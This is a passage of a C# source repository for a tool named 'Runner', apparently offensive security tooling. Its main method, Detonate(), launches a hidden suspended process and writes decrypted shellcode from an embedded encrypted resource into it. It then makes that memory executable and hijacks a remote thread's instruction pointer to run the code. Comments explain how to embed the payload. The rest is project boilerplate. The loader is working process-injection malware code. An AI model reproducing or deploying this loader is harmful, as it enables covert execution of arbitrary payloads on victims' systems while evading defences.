483 | j += 1; 484 | } 485 | return result; 486 | } 487 | 488 | static void Detonate() 489 | { 490 | bool retValue; 491 | string binPath = GetValidExecutable(); 492 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 493 | STARTUPINFO sInfo = new STARTUPINFO(); 494 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 495 | SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); 496 | pSec.nLength = Marshal.SizeOf(pSec); 497 | tSec.nLength = Marshal.SizeOf(tSec); 498 | const uint CREATE_SUSPENDED = 0x00000004; 499 | const uint CREATE_NO_WINDOW = 0x08000000; 500 | //MessageBox.Show("binPath: " + binPath); 501 | retValue = CreateProcess( 502 | binPath, 503 | null, 504 | ref pSec, 505 | ref tSec, 506 | false, 507 | CREATE_NO_WINDOW | CREATE_SUSPENDED, 508 | IntPtr.Zero, 509 | null, 510 | ref sInfo, 511 | out pInfo); 512 | 513 | // You NEED to add as a resource the encyrpted shellcode. 514 | // You can do this by going to Project -> Properties -> Resources 515 | // Then add a new file, then select the encrypted.bin (you'll need to 516 | // ensure that all files are viewable to add, not just text). 517 | // The, on the right side in solution explorer, click the encrypted.bin 518 | // file and ensure the build action is set to "Embedded Resource". 519 | uint rawDataLength = (uint)Runner.Properties.Resources.encrypted.Length; 520 | IntPtr hProc = OpenProcess(ProcessAccessFlags.All, false, pInfo.dwProcessId); 521 | //MessageBox.Show("Opened process."); 522 | IntPtr pRemoteThread = VirtualAllocEx( 523 | hProc, 524 | IntPtr.Zero, 525 | rawDataLength, 526 | AllocationType.Commit | AllocationType.Reserve, 527 | MemoryProtection.ReadWrite); 528 | //MessageBox.Show("Allocated space"); 529 | Random rnd = new Random(); 530 | int SIZE_MOD = rnd.Next(100, 501); 531 | int totalBytesWritten = 0; 532 | //MessageBox.Show("Beginning deryption"); 533 | 534 | // All at once 535 | byte[] decBytes = GetAllDecryptedBytes(); 536 | IntPtr bytesWritten = IntPtr.Zero; 537 | WriteProcessMemory(hProc, pRemoteThread, decBytes, decBytes.Length, out bytesWritten); 538 | 539 | 540 | IntPtr kernel32Addr = LoadLibrary("kernel32.dll"); 541 | IntPtr loadLibraryAddr = GetProcAddress(kernel32Addr, "LoadLibraryA"); 542 | if (loadLibraryAddr == null) 543 | { 544 | Console.WriteLine("Couldn't get proc address for kern32 loadlibraryaddr"); 545 | Environment.Exit(1); 546 | } 547 | //MessageBox.Show("Kernel 32 Addr loaded"); 548 | uint oldProtect = 0; 549 | bool reportected = VirtualProtectEx(hProc, pRemoteThread, rawDataLength, MemoryProtection.ExecuteRead, out oldProtect); 550 | if (reportected) 551 | { 552 | //MessageBox.Show("Was able to reportect"); 553 | ThreadStartDelegate funcdelegate = (ThreadStartDelegate)Marshal.GetDelegateForFunctionPointer(loadLibraryAddr, typeof(ThreadStartDelegate)); 554 | IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, funcdelegate, IntPtr.Zero, 0x00000004, IntPtr.Zero); 555 | if (hThread == null) 556 | { 557 | Console.WriteLine("Couldn't create remote thread"); 558 | Environment.Exit(1); 559 | } 560 | //MessageBox.Show("Created remote thread"); 561 | CONTEXT64 ctx = new CONTEXT64(); 562 | ctx.ContextFlags = CONTEXT_FLAGS.CONTEXT_CONTROL; 563 | GetThreadContext(hThread, ref ctx); 564 | ctx.Rip = (UInt64)pRemoteThread; 565 | SetThreadContext(hThread, ref ctx); 566 | ResumeThread(hThread); 567 | CloseHandle(hThread); 568 | //MessageBox.Show("done"); 569 | } 570 | } 571 | 572 | #endregion 573 | 574 | static void Main(string[] args) 575 | { 576 | Detonate(); 577 | } 578 | 579 | 580 | } 581 | } 582 | -------------------------------------------------------------------------------- /Runner/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Runner")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Runner")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("a1e28c8c-b3bd-44de-85b9-8aa7c18a714d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Runner/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Runner.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Runner.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Byte[]. 65 | /// 66 | internal static byte[] encrypted { 67 | get { 68 | object obj = ResourceManager.GetObject("encrypted", resourceCulture); 69 | return ((byte[])(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /Runner/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\encrypted.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | -------------------------------------------------------------------------------- /Runner/Runner.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D} 8 | Exe 9 | Runner 10 | Runner 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | true 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | true 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | True 50 | True 51 | Resources.resx 52 | 53 | 54 | 55 | 56 | ResXFileCodeGenerator 57 | Resources.Designer.cs 58 | 59 | 60 | 61 | 62 | 63 | 64 | --------------------------------------------------------------------------------